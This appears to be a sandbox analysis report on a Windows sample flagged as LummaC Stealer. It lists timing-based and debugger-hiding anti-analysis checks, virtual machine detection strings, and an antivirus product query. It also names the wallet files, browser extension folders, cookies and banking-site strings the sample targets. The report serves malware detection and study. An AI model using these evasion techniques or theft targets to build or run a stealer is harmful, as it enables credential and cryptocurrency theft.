Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1101B second address: 6B11025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B11025 second address: 6B11029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B46F87 second address: 6B46F8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B46F8C second address: 6B46F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B477F2 second address: 6B477F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B477F6 second address: 6B47810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E06h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B47810 second address: 6B47816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B47BF4 second address: 6B47C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F4F78FA0DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F4F78FA0DF6h 0x00000014 jnp 00007F4F78FA0DF6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B47C0E second address: 6B47C14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B47D78 second address: 6B47D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4F78FA0E01h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B47EFE second address: 6B47F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3F5A0 second address: 6B3F5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3F5A4 second address: 6B3F5A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3F5A8 second address: 6B3F5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jno 00007F4F78FA0DF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F4F78FA0DF6h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B487A5 second address: 6B487A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B487A9 second address: 6B487CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F4F78FA0DFCh 0x0000000f jns 00007F4F78FA0DF6h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48C3D second address: 6B48C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48C41 second address: 6B48C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48C47 second address: 6B48C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48C51 second address: 6B48C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48C57 second address: 6B48C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F4F78C44E44h 0x00000010 jmp 00007F4F78C44E38h 0x00000015 jo 00007F4F78C44E26h 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B48C9A second address: 6B48CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F4F78FA0DFAh 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4F78FA0DFEh 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F130 second address: 6B4F134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F134 second address: 6B4F13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F13A second address: 6B4F14D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F4F78C44E26h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F14D second address: 6B4F151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F151 second address: 6B4F157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F157 second address: 6B4F198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jns 00007F4F78FA0DFCh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4F78FA0E01h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F198 second address: 6B4F19C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4F19C second address: 6B4F1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F4F78FA0E08h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnp 00007F4F78FA0DF6h 0x0000001b jg 00007F4F78FA0DF6h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4E0D8 second address: 6B4E0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4E0E3 second address: 6B4E0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78FA0E04h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B534D9 second address: 6B534DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B534DD second address: 6B534EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B53661 second address: 6B53671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F4F78C44E2Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B53671 second address: 6B53687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4F78FA0DFAh 0x0000000b jns 00007F4F78FA0DF6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B53995 second address: 6B5399B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5399B second address: 6B5399F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5399F second address: 6B539AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B53F92 second address: 6B53F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FE38BF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FE394A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 117B9A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 119FDE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1202FE5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69AD9C0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6B4D6C0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6B727C1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6BE0E19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69B4367 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69B45D3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06B3D73C rdtsc

0_2_06B3D73C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06B3A932 sidt fword ptr [esp-02h]

0_2_06B3A932

Source: C:\Users\user\Desktop\file.exe TID: 7008	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7012	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7104	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7000	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7004	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7116	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6996	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6984	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6988	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3045459491.000000000115A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: file.exe, 00000000.00000003.2636804340.000000000619E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696508427p
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: file.exe, 00000000.00000002.3046893364.000000000199C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\\|8^L
Source: file.exe, 00000000.00000002.3046893364.000000000192E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000002.3046893364.000000000199C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnb
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696508427f
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.3046893364.000000000199C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696508427
Source: file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: file.exe, 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3045459491.000000000115A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2636879955.0000000006191000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696508427

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06B3D73C rdtsc

0_2_06B3D73C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC71F0 LdrInitializeThunk,

0_2_00FC71F0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.3045459491.000000000115A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: SProgram Manager
Source: file.exe, file.exe, 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2763586824.00000000019D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2846880151.000000000615F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2776552833.000000000615F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2764116569.0000000001A06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2763460656.0000000001A06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2763620702.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2763278218.000000000615F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\w
Source: file.exe, 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"%appdata%\\ElectronCash\\wallets","m":["*"],"z
Source: file.exe, 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: on","window-state.json"],"z":"Wallets/Binance","
Source: file.exe, 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :20971520},{"t":0,"p":"%appdata%\\Exodus\\exodusN
Source: file.exe, 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: reum","m":["keystore"],"z":"Wallets/Ethereum","dq
Source: file.exe, 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
